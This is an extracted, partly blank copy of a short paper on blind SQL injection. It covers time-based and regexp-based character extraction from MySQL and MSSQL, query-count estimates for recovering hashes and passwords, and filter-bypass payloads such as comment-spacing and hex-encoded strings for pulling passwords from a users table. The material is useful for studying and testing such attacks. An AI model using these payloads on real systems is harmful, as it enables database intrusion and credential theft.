SQL Regex PDF
SQL Regex PDF
Authors:
Simone Quatrini
Marco Rondini
1/9
Index
Why blind sql injection?.......................................................................................................................3
How blind sql injection can be used?...................................................................................................3
Testing vulnerability (MySQL - MSSQL):........................................................................................3
Time attack (MySQL)............................................................................................................................3
Time attack (MSSQL)...........................................................................................................................4
Regexp attack's methodology................................................................................................................5
Finding table name with Regexp attack (MySQL)...........................................................................5
Finding table name with Regexp attack (MSSQL)...........................................................................6
Exporting a value with Regexp attack (MySQL).............................................................................7
Exporting a value with Regexp attack (MSSQL).............................................................................7
Time considerations..............................................................................................................................8
Bypassing filters...................................................................................................................................9
Real life example..................................................................................................................................9
Conclusions..........................................................................................................................................9
2/9
Exporting a value;
Every techniques are based on the 'guess attack', because we only have two different input:
TRUE or FALSE. Let me explain better...
4/9
FALSE
[...] >1 and 100 >(select top 1 ascii(substring(name,1,1)) from sysusers) 1 second
FALSE
[...] >1 and 110 >(select top 1 ascii(substring(name,1,1)) from sysusers) 1 second
FALSE
[...] >1 and 120 >(select top 1 ascii(substring(name,1,1)) from sysusers) 14
seconds TRUE
[...] >1 and 115 >(select top 1 ascii(substring(name,1,1)) from sysusers) 1 second
FALSE
[...] >1 and 118 >(select top 1 ascii(substring(name,1,1)) from sysusers) 1 second
FALSE
[...] >1 and 119 >(select top 1 ascii(substring(name,1,1)) from sysusers) 1 second
FALSE
Then the result is ASCII(119)='w'.
Start with the second letter... and so on!
5/9
6/9
7/9
Time considerations
Take for example the MD5 case. We must export an hash of 32 chars using a blind sql
injection.
You know that there are only 16 chars to be tested (1234567890abcdef);
In an optimistic case, regexp and normal blind need 32 query to be done;
In a worst-case , regexp need 128 query and normal blind need 512 query;
600
500
400
Max Try
Min Try
300
200
100
0
Regex
Normal
Let's take now a password case. We must export a 15 chars password mixalpha-numericspecial14. You know that there are 76 chars to be tested
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+=);
In an optimistic case, regexp and normal blind need 15 query to be done;
In a worst-case, regexp need approx 94 query and normal blind need 1140 query;
1400
1200
1000
800
Max Try
Min try
600
400
200
0
Regex
Normal
8/9
Bypassing filters
Below are examples of common filters bypass.
TRIM (NO SPACES ALLOWED):
SELECT/*not important*/1/*really...*/FROM/*im serious*/users (open and
close a comment);
SELECT(1)FROM(information_schema.tables) (parentheses's rules)
Special chars like:
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
Example:
SELECT%09TABLE_NAME%09FROM%0dinformation_schema.tables
SPECIAL CHAR (NO ', ALLOWED):
Usually the ' AND are used to input some kind of string. So you can input the HEX
value:
SELECT passwd FROM users WHERE username=0x61646d696e
Where 0x61646d696e is the hex value of 'admin'
Or also using the CHAR function:
SELECT passwd FROM users WHERE
username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))
Conclusions
To conclude our paper, we must specify that:
1. Is possible make a combo attack using Time Attack or other;
2. The regexp that you will use, could also be a list of chars like [abcdef0123456789];
3. Our English is fu**ing bad! :)
9/9